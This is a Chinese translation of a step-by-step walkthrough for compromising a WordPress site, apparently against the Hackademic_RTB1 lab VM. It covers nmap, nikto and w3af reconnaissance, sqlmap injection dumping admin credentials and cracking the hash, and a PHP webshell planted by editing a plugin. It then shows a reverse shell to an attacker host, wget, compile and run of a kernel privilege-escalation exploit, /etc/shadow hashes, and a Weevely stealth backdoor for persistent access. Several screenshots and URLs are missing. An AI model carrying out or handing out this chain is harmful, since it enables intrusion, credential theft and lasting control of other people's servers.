[翻译_FreeBuf]攻击WordPress站点

[翻译_FreeBuf]攻击WordPress站点

2023年7月23日发(作者:)

攻击WordPress网站 【翻译】

攻击WordPress网站

By G.r0b1n

2012-07

1 / 21

攻击WordPress网站 【翻译】

前言

英语水平有限,许多地方翻译的不是很通顺,请各位海涵。初见该文章便对文章作者很是佩服,因为在文章中详细的讲述了每一个步骤,这对于初学者来说尤为难得。所以决定将该文章翻译出来,供大家借鉴学习。

正文

原文题目:How Hackers Target and Hack Your Site

这个问题的答案是难以确定的(题目),因为黑客有多种方法去攻击一个网站。我们这篇文章的目的在于向你展示黑客常用的攻击技术和方法。

我们假设这是你的网站:

首先通过ping获得网站的IP地址:

现在我们得到了网站服务器的IP :173.236.138.113,这是我们的网站服务器托管IP。

接下来我们去查找同一IP主机:

2 / 21

攻击WordPress网站 【翻译】

有26个结果,限于篇幅原因这里只取10个

ID

1

2

3

4

5

6

7

8

9

10

我们需要更多信息,例如:

1. DNS记录(A、NS、TXT、MS和SOA);

2. Web服务器类型(Apache、IIS、Tomcat)

3. 注册信息(你的域名注册公司)

4. 名字、地址、电子邮件和电话

5. 网站所使用的脚步语言(php、asp、、jsp)

3 / 21

Domain

攻击WordPress网站 【翻译】

6. 服务器操作系统类型(Unix、Linux、Windows、Solaris等)

7. 服务器开放端口(80、443、21)

让我们开始获取信息,打开网站

搜索后我们找到了的DNS记录信息:

Record

Type

A

SOA

TTL

4 hours

4 hours

Priority

173.236.138.113

Content

.

. 2011032301

15283 1800 1814400 14400

NS

NS

NS

A

4 hours

4 hours

4 hours

4 hours

173.236.138.113

接下来是服务器类型信息:

4 / 21

攻击WordPress网站 【翻译】

我们可以看出服务器类型是Apache

SITE INFORMATION

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753

Page Views per Visit: 1 Month: 2.0 3 Month: 3.7

接下来是查找域名注册信息、注册人、地址、电子邮件、电话:

现在拥有了你的注册信息和其他虚拟信息,我们使用BackTrack5 R1的Whatweb程序获取你网站的操作系统类型、Web服务器版本等:

我们发现网站使用了一个著名的PHP程序WordPress,服务器类型为Fedora Linux,Web服务器版本为Apache 2.2.15。

接下来查找服务器开放的端口,我们将使用Nmap完成端口扫描:

1. 查找服务器运行的服务

5 / 21

攻击WordPress网站 【翻译】

root@bt:/# nmap -sV

Starting Nmap 5.59BETA1 ( ) at 2011-12-28 06:39 EET

Nmap scan report for (192.168.1.2)

Host is up (0.0013s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp closed ssh

80/tcp open http Apache httpd 2.2.15 ((Fedora))

MAC Address: 00:0C:29:01:8A:4D (VMware)

Service detection performed. Please report any incorrect results at /submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

2. 查找服务器操作系统

root@bt:/# nmap -O

Starting Nmap 5.59BETA1 ( ) at 2011-12-28 06:40 EET

Nmap scan report for (192.168.1.2)

Host is up (0.00079s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp closed ssh

80/tcp open http

MAC Address: 00:0C:29:01:8A:4D (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS details: Linux 2.6.22 (Fedora Core 6)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at /submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds

在服务器上仅打开了80端口,服务器系统类型为Linux 2.6.22(Fedora Core6)

现在我们已经搜集了所有关于服务器的信息,接下来我们开始漏洞扫描:

SQL注入、盲注、本地远程文件包含、跨站脚本攻击、跨站伪造请求等。

我们将使用进行漏洞信息搜集:

root@bt:/pentest/web/nikto# perl -h

- Nikto v2.1.4

---------------------------------------------------------------------------

+ Target IP: 192.168.1.2

+ Target Hostname:

+ Target Port: 80

6 / 21

攻击WordPress网站 【翻译】

+ Start Time: 2011-12-29 06:50:03

---------------------------------------------------------------------------

+ Server: Apache/2.2.15 (Fedora)

+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b

+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)

and 2.0.64 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host

+ End Time: 2011-12-29 06:50:37 (34 seconds)

---------------------------------------------------------------------------

+ 1 host(s) tested

我们也会用W3AF:

root@bt:/pentest/web/w3af# ./w3af_gui

Starting w3af, running on:

Python version:

2.6.5 (r265:79063, Apr 16 2010, 13:57:41)

[GCC 4.4.3]

GTK version: 2.20.1

PyGTK version: 2.17.0

w3af - Web Application Attack and Audit Framework

Version: 1.2

Revision: 4605

Author: Andres Riancho and the w3af team.

7 / 21

攻击WordPress网站 【翻译】

输入URL,选择【Full_audit】选项:

一段时间后,W3af完成了扫描:

8 / 21

攻击WordPress网站 【翻译】

你的网站存在着SQL注入、跨站脚本攻击和其他的风险。

让我们来看下SQL注入漏洞:

9 / 21

攻击WordPress网站 【翻译】

/Hackademic_RTB1/?cat=d%27z%220 ,这是漏洞地址和漏洞参数位置。

接下来让我们利用这个漏洞:

我们发现利用失败,因此我们将使用一款叫做SQLMap的工具来完成这项工作,并且我们会获得到所有的我们所需要的网站的数据库信息。

使用SQLMap附加-u参数和url地址开始:

几秒后你会看到:

输入n后按回车键继续:

我们看到网站的漏洞是基于SQL注入报错的方式,以及MySQL数据库的版本是5:

让我们添加参数“–dbs”去发现所有的网站数据库:

10 / 21

攻击WordPress网站 【翻译】

一段时间后返回结果,现在我们发现了3个数据库:

我们早SQLMap增加“-D wordpress -tables”将获取wordpress数据库的表

我们想要获取“wp_users”表的数据,因为我们从wp_users表可以得到网站的管理员帐号和密码散列,破解成功的密码散列可以登录WordPress的后台管理。

我们将通过在SQLMap中添加参数“-T wp_users -columns”获取“wp_users”的列名

11 / 21

攻击WordPress网站 【翻译】

我们在SQLMap中添加参数“-C user_login,user_pass -dump”参数就可以获取用户名和密码散列

我们想获取散列值的明文,我们将使用在线网站

/进行在线破解,输入散列值7CBB3252BA6B7E9C422FAC5334D22054

12 / 21

攻击WordPress网站 【翻译】

返回了明文结果: q1w2e3,用户名是GeorgeMiller,我们使用该帐号登录WordPress后台wp-admin:

登录进入后,尝试上传php的webshell在服务器上执行Linux命令。

首先尝试编辑wordpress的一款名为“Textile”的插件,或是其他所看到的任意插件

13 / 21

攻击WordPress网站 【翻译】

编辑它

插入php的webshell代码,完成后选择“UploadFile”,然后浏览webshell

Webshell运行正常。现在我们可以操纵你的站点文件。但我们只想得到网站服务器的管理员权限后去Hack其他网站。

我们使用“back-connect”功能去反向连接IP为192.168.1.6,端口为5555的主机

14 / 21

攻击WordPress网站 【翻译】

在这之前,我们要先在192.168.1.6上监听5555端口:

连接后显示:

现在我们尝试执行linux的命令:

现在我们通过执行Linux命令知道了服务器的内核版本为12.i686,让我们去搜索该版本的提权利用程序。

输入关键字“kernel 2.6.31”

15 / 21

攻击WordPress网站 【翻译】

在服务器上尝试完上面的漏洞利用程序失败后,决定使用一个新的漏洞利用程序来完成权限提升:

文件连接为/download/15285,使用wget下载:

wget /download/15285 -O roro.c

下载完成后我们使用GCC编译刚下载的文件:

gcc roro.c –o roro

然后运行编译成功的roro文件:

./roro

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

16 / 21

攻击WordPress网站 【翻译】

[*] Resolving

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting

[*] Linux kernel >= 2.6.30 RDS socket exploit

[*] by Dan Rosenberg

[*] Resolving

[+] Resolved rds_proto_ops to 0xe09f0b20

[+] Resolved rds_ioctl to 0xe09db06a

[+] Resolved commit_creds to 0xc044e5f1

[+] Resolved prepare_kernel_cred to 0xc044e452

[*] Overwriting

[*]

[*] Restoring

运行漏洞利用程序后我们输入id检测是否提权成功:

提权成功,我们现在可以查看Linux的系统用户和密码文件:

cat /etc/shadow

root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/0:14981:0:99999:7:::

bin:*:14495:0:99999:7:::

daemon:*:14495:0:99999:7:::

adm:*:14495:0:99999:7:::

lp:*:14495:0:99999:7:::

sync:*:14495:0:99999:7:::

shutdown:*:14495:0:99999:7:::

halt:*:14495:0:99999:7:::

mail:*:14495:0:99999:7:::

uucp:*:14495:0:99999:7:::

operator:*:14495:0:99999:7:::

games:*:14495:0:99999:7:::

gopher:*:14495:0:99999:7:::

ftp:*:14495:0:99999:7:::

nobody:*:14495:0:99999:7:::

vcsa:!!:14557::::::

avahi-autoipd:!!:14557::::::

ntp:!!:14557::::::

17 / 21

攻击WordPress网站 【翻译】

dbus:!!:14557::::::

rtkit:!!:14557::::::

nscd:!!:14557::::::

tcpdump:!!:14557::::::

avahi:!!:14557::::::

haldaemon:!!:14557::::::

openvpn:!!:14557::::::

apache:!!:14557::::::

saslauth:!!:14557::::::

mailnull:!!:14557::::::

smmsp:!!:14557::::::

smolt:!!:14557::::::

sshd:!!:14557::::::

pulse:!!:14557::::::

gdm:!!:14557::::::

:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::

mysql:!!:14981::::::

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin

avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin

nscd:x:28:493:NSCD Daemon:/:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin

18 / 21

攻击WordPress网站 【翻译】

haldaemon:x:68:491:HAL daemon:/:/sbin/nologin

openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin

apache:x:48:489:Apache:/var/www:/sbin/nologin

saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin

smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin

sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin

gdm:x:42:481::/var/lib/gdm:/sbin/nologin

:x:500:500::/home/:/bin/bash

mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash

我们使用“john the ripper”工具可以破解Linux用户名和密码。但我们不准备这么做,我们想做到在任意时间都能访问这个服务器。为了做到这样,我们使用Weevely上传一个小而且经过加密的php后门到服务器上。

Weevely用法:

root@bt:/pentest/backdoors/web/weevely# ./ -

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: /p/weevely/

Usage: [options]

Options:

-h, --help show this help message and exit

-g, --generate Generate backdoor crypted code, requires -o and -p .

-o OUTPUT, --output=OUTPUT

Output filename for generated backdoor .

-c COMMAND, --command=COMMAND

Execute a single command and exit, requires -u and -p

-t, --terminal Start a terminal-like session, requires -u and -p .

-C CLUSTER, --cluster=CLUSTER

Start in cluster mode reading items from the give

file, in the form 'label,url,password' where label is

optional.

-p PASSWORD, --password=PASSWORD

Password of the encrypted backdoor .

-u URL, --url=URL Remote backdoor URL .

使用weevely创建一个带有密码的php后门

19 / 21

攻击WordPress网站 【翻译】

root@bt:/pentest/backdoors/web/weevely# ./ -g -o -p koko

Weevely 0.3 - Generate and manage stealth PHP backdoors.

Copyright (c) 2011-2012 Weevely Developers

Website: /p/weevely/

+ Backdoor file '' created with password 'koko'.

上传PHP后门到服务器

上传完成后我们可以连接后门并使用它:

root@bt:/pentest/backdoors/web/weevely# ./ -t -u /Hackademic_RTB1/wp-content/plugins/ -p koko

测试我们的后门是否正常执行

20 / 21

攻击WordPress网站 【翻译】

结束

终于翻译完成,持续了大约1个礼拜,事情太多了,忙不过来,基本是利用业余时间完成的,许多翻译的不足之处还请大家多多包涵,个别地方的翻译加入了自己的理解,总体而言文档大家还是都能看的懂的。

祝FreeBuf蒸蒸日上!

By G.r0b1n

21 / 21

发布者:admin,转转请注明出处:http://www.yc00.com/web/1690107008a306320.html

相关推荐

发表回复

评论列表(0条)

  • 暂无评论

联系我们

400-800-8888

在线咨询: QQ交谈

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息

关注微信